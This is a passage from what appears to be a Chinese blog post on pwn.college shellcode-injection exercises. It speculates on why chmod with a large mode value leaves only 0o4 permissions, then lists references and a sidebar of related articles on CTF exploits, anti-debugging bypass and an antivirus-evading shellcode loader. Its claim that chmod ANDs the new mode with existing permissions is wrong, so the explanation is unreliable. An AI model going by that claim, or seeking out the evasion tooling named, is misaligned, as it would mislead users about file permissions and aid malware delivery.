  2. 掩码与权限组合:在许多实现中,chmod 会对给定的权限掩码与文件当前的权限进行逻辑运算。比如,chmod 可能将新权限掩码与文件的现有权限进行“按位与”操作,而不是简单地将新权限掩码完全替代现有权限。因此,如果 0x2c988004 中的高位不会影响权限,实际的文件权限可能只反映了 0o4。
  3. 权限限制:文件系统和操作系统可能对权限有额外的限制或处理。比如,某些系统可能会对超出标准权限范围的位进行裁剪或忽略,从而只保留了有效的权限位。
  4. 应用程序逻辑:在一些特殊的环境中,可能有自定义逻辑或限制,导致权限的解释或应用与预期不同。这可能是因为安全策略或系统配置。

总结: 尽管 0x2c988004 是一个大的权限掩码值,但在实际应用中,chmod 可能根据文件系统的实现和当前权限,只有掩码中的有效部分被实际应用。系统可能会根据实际的文件权限和掩码计算结果,最终只显示出 0o4 权限。这种行为的具体细节可以依赖于文件系统、操作系统版本和具体实现。

参考

pwn college 刷题记录: Shellcode Injection

pwncollege通关笔记:4.Shellcode Injection(从0开始学习pwn) - FreeBuf网络安全行业门户

pwnlib.shellcraft — Shellcode generation — pwntools 4.12.0 documentation

https://github.com/Gallopsled/pwntools/tree/db98e5edfba9e8f57334254a474bc7d3c2463dd6/pwnlib/shellcraft/templates/amd64/linux

【Linux系统编程】深入理解Linux中的chmod函数和mode_t类型_linux int chmod 编程示例-CSDN博客


目录
相关文章
|
4月前
|
Shell
CTFHubret2shellcode-入土为安的第十三天
CTFHubret2shellcode-入土为安的第十三天
53 0
|
4月前
[MoeCTF 2022]rop32-入土为安的第十八天
[MoeCTF 2022]rop32-入土为安的第十八天
33 0
|
6月前
|
存储 算法 Java
ASM字节码操纵框架实现AOP
ASM字节码操纵框架实现AOP
60 0
|
7月前
|
安全 Linux Windows
[dvwa] Command Injection
[dvwa] Command Injection
|
安全 Windows
4.4 x64dbg 绕过反调试保护机制
在Windows平台下,应用程序为了保护自己不被调试器调试会通过各种方法限制进程调试自身,通常此类反调试技术会限制我们对其进行软件逆向与漏洞分析,我们以第一种`IsDebuggerPresent`反调试为例,该函数用于检查当前程序是否在调试器的环境下运行。函数返回一个布尔值,如果当前程序正在被调试,则返回True,否则返回False。函数通过检查特定的内存地址来判断是否有调试器在运行。具体来说,该函数检查了`PEB(进程环境块)`数据结构中的`_PEB_LDR_DATA`字段,该字段标识当前程序是否处于调试状态。如果该字段的值为1,则表示当前程序正在被调试,否则表示当前程序没有被调试。
332 0
4.4 x64dbg 绕过反调试保护机制
|
安全 Windows
【工具分享】免杀360&火绒的shellcode加载器
【工具分享】免杀360&火绒的shellcode加载器
387 0
|
安全 Linux 网络安全
动态Shellcode注入工具 – Shellter
动态Shellcode注入工具 – Shellter
170 0
|
关系型数据库 MySQL 数据库管理
|
关系型数据库 MySQL 数据库管理